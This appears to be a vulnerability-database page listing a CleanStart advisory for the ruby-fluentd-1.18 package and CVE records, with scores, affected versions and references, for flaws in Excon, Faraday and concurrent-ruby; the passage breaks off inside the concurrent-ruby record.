Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Published
2026-07-21 08:19
Modified
2026-07-07 04:42
Summary
Security fixes for CVE-2026-54171, CVE-2026-54297, CVE-2026-54522, CVE-2026-54904, CVE-2026-54905, CVE-2026-54906, ghsa-6wx8-w4f5-wwcr, ghsa-98m9-hrrm-r99r, ghsa-h8w8-99g7-qmvj, ghsa-wv3x-4vxv-whpp applied in versions: 1.18.0-r4, 1.18.0-r5
Details
Multiple security vulnerabilities affect the ruby-fluentd-1.18 package. These issues are resolved in later releases. See references for individual vulnerability details.
References
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "ruby-fluentd-1.18"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.18.0-r5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the ruby-fluentd-1.18 package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-DE16221",
"modified": "2026-07-07T04:42:57Z",
"published": "2026-07-21T08:19:55.189420Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-DE16221.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54171"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54297"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54522"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54904"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54905"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54906"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-6wx8-w4f5-wwcr"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-98m9-hrrm-r99r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-h8w8-99g7-qmvj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-wv3x-4vxv-whpp"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54171"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54297"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54522"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54904"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54905"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54906"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2026-54171, CVE-2026-54297, CVE-2026-54522, CVE-2026-54904, CVE-2026-54905, CVE-2026-54906, ghsa-6wx8-w4f5-wwcr, ghsa-98m9-hrrm-r99r, ghsa-h8w8-99g7-qmvj, ghsa-wv3x-4vxv-whpp applied in versions: 1.18.0-r4, 1.18.0-r5",
"upstream": [
"CVE-2026-54171",
"CVE-2026-54297",
"CVE-2026-54522",
"CVE-2026-54904",
"CVE-2026-54905",
"CVE-2026-54906",
"ghsa-6wx8-w4f5-wwcr",
"ghsa-98m9-hrrm-r99r",
"ghsa-h8w8-99g7-qmvj",
"ghsa-wv3x-4vxv-whpp"
]
}
CVE-2026-54171 (GCVE-0-2026-54171)
Vulnerability from cvelistv5 – Published: 2026-07-17 20:09 – Updated: 2026-07-20 13:59
VLAI
EPSS
VEX
Title
Excon: redact additional sensitive/risky headers when following redirects
Summary
Excon is usable, fast, simple HTTP 1.1 for Ruby. Prior to 1.5.0, Excon's RedirectFollower middleware failed to strip additional sensitive headers when following redirects and did not provide a custom list of headers to strip. This could cause inadvertent leakage of sensitive data when the initial request includes header information that is not intended for the new target. This issue is fixed in version 1.5.0.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-201 - Insertion of Sensitive Information Into Sent Data
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/excon/excon/security/advisorie… | x_refsource_CONFIRM |
| https://github.com/excon/excon/pull/901 | x_refsource_MISC |
| https://github.com/excon/excon/commit/ea89a35308a… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-54171",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-20T13:59:31.856340Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-20T13:59:42.883Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "excon",
"vendor": "excon",
"versions": [
{
"status": "affected",
"version": "\u003c 1.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Excon is usable, fast, simple HTTP 1.1 for Ruby. Prior to 1.5.0, Excon\u0027s RedirectFollower middleware failed to strip additional sensitive headers when following redirects and did not provide a custom list of headers to strip. This could cause inadvertent leakage of sensitive data when the initial request includes header information that is not intended for the new target. This issue is fixed in version 1.5.0."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-201",
"description": "CWE-201: Insertion of Sensitive Information Into Sent Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-17T20:09:44.716Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/excon/excon/security/advisories/GHSA-48rx-c7pg-q66r",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/excon/excon/security/advisories/GHSA-48rx-c7pg-q66r"
},
{
"name": "https://github.com/excon/excon/pull/901",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/excon/excon/pull/901"
},
{
"name": "https://github.com/excon/excon/commit/ea89a35308a12f4b791b6c50f2cbd33f94889fa3",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/excon/excon/commit/ea89a35308a12f4b791b6c50f2cbd33f94889fa3"
}
],
"source": {
"advisory": "GHSA-48rx-c7pg-q66r",
"discovery": "UNKNOWN"
},
"title": "Excon: redact additional sensitive/risky headers when following redirects"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-54171",
"datePublished": "2026-07-17T20:09:44.716Z",
"dateReserved": "2026-06-11T21:46:52.381Z",
"dateUpdated": "2026-07-20T13:59:42.883Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-54297 (GCVE-0-2026-54297)
Vulnerability from cvelistv5 – Published: 2026-06-24 15:50 – Updated: 2026-07-17 12:04
VLAI
EPSS
VEX
Title
Faraday: Uncontrolled recursion in NestedParamsEncoder allows stack exhaustion DoS via deeply nested query parameters
Summary
Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. From 1.0.0 until 1.10.6 and 2.14.3, Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth. A crafted query string causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths. This vulnerability is fixed in 1.10.6 and 2.14.3.
Severity
7.5 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/lostisland/faraday/security/ad… | x_refsource_CONFIRM |
| https://access.redhat.com/security/cve/CVE-2026-54297 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2492252 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
Impacted products
3 products
| Vendor | Product | Version | |
|---|---|---|---|
| lostisland | faraday |
Affected:
>= 1.0.0, < 1.10.6
Affected: >= 2.0.0.alpha.pre.1, < 2.14.3 |
|
| Red Hat | Red Hat 3scale API Management Platform 2 |
cpe:/a:redhat:red_hat_3scale_amp:2 |
|
| Red Hat | Red Hat Satellite 6 |
cpe:/a:redhat:satellite:6 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-54297",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-25T17:02:17.339978Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-25T17:02:51.602Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/lostisland/faraday/security/advisories/GHSA-98m9-hrrm-r99r"
}
],
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "unaffected",
"packageName": "3scale-amp21/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "unaffected",
"packageName": "3scale-amp21/zync",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "unaffected",
"packageName": "3scale-amp22/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "unaffected",
"packageName": "3scale-amp22/zync",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "unaffected",
"packageName": "3scale-amp2/system-rhel7",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp2/system-rhel8",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp2/system-rhel9",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp2/zync-rhel8",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp2/zync-rhel9",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "rubygem-faraday",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "rubygem-faraday-cookie_jar",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "rubygem-faraday-em_http",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "rubygem-faraday-em_synchrony",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "rubygem-faraday-excon",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "rubygem-faraday-httpclient",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "rubygem-faraday_middleware",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "rubygem-faraday-multipart",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "rubygem-faraday-net_http",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "rubygem-faraday-net_http_persistent",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "rubygem-faraday-patron",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "rubygem-faraday-rack",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "rubygem-faraday-retry",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite-capsule:el8/rubygem-faraday",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite-capsule:el8/rubygem-faraday-em_http",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite-capsule:el8/rubygem-faraday-em_synchrony",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite-capsule:el8/rubygem-faraday-excon",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite-capsule:el8/rubygem-faraday-httpclient",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite-capsule:el8/rubygem-faraday_middleware",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite-capsule:el8/rubygem-faraday-multipart",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite-capsule:el8/rubygem-faraday-net_http",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite-capsule:el8/rubygem-faraday-net_http_persistent",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite-capsule:el8/rubygem-faraday-patron",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite-capsule:el8/rubygem-faraday-rack",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite:el8/rubygem-faraday",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite:el8/rubygem-faraday-cookie_jar",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite:el8/rubygem-faraday-em_http",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite:el8/rubygem-faraday-em_synchrony",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite:el8/rubygem-faraday-excon",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite:el8/rubygem-faraday-httpclient",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite:el8/rubygem-faraday_middleware",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite:el8/rubygem-faraday-multipart",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite:el8/rubygem-faraday-net_http",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite:el8/rubygem-faraday-net_http_persistent",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite:el8/rubygem-faraday-patron",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite:el8/rubygem-faraday-rack",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"packageName": "satellite:el8/rubygem-faraday-retry",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
}
],
"datePublic": "2026-06-24T15:50:08.949Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Faraday, an HTTP client library. The Faraday::NestedParamsEncoder, which handles nested query parameters, does not limit the depth of nested query strings during decoding. A remote attacker can exploit this by sending a specially crafted query string, causing the application to build an excessively deep data structure. This can lead to a SystemStackError, resulting in a Denial of Service (DoS) by crashing the application\u0027s processing thread or worker."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-17T12:04:37.665Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-54297"
},
{
"name": "RHBZ#2492252",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492252"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54297.json"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-06-24T17:01:10.032Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-06-24T15:50:08.949Z",
"value": "Made public."
}
],
"title": "faraday: Faraday: Denial of Service via crafted nested query strings",
"workarounds": [
{
"lang": "en",
"value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "faraday",
"vendor": "lostisland",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.10.6"
},
{
"status": "affected",
"version": "\u003e= 2.0.0.alpha.pre.1, \u003c 2.14.3"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. From 1.0.0 until 1.10.6 and 2.14.3, Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth. A crafted query string causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday\u0027s nested query parsing or URL-building paths. This vulnerability is fixed in 1.10.6 and 2.14.3."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-674",
"description": "CWE-674: Uncontrolled Recursion",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-24T15:50:08.949Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/lostisland/faraday/security/advisories/GHSA-98m9-hrrm-r99r",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/lostisland/faraday/security/advisories/GHSA-98m9-hrrm-r99r"
}
],
"source": {
"advisory": "GHSA-98m9-hrrm-r99r",
"discovery": "UNKNOWN"
},
"title": "Faraday: Uncontrolled recursion in NestedParamsEncoder allows stack exhaustion DoS via deeply nested query parameters"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-54297",
"datePublished": "2026-06-24T15:50:08.949Z",
"dateReserved": "2026-06-12T17:46:37.293Z",
"dateUpdated": "2026-07-17T12:04:37.665Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-54904 (GCVE-0-2026-54904)
Vulnerability from cvelistv5 – Published: 2026-06-24 15:44 – Updated: 2026-06-25 13:20
VLAI
EPSS
VEX
Title
concurrent-ruby: `AtomicReference#update` livelocks when the stored value is `Float::NAN`
Summary
concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN. The issue is caused by the interaction between AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds; Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.; and Ruby NaN semantics, where Float::NAN == Float::NAN is always false. As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs. This vulnerability is fixed in 1.3.7.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/ruby-concurrency/concurrent-ru… | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| ruby-concurrency | concurrent-ruby |
Affected:
< 1.3.7
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-54904",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-25T13:19:55.812897Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-25T13:20:00.135Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "concurrent-ruby",
"vendor": "ruby-concurrency",
"versions": [
{
"status": "affected",
"version": "\u003c 1.3.7"
}
]
}
],
"descriptions": [
{
"lang": "en",
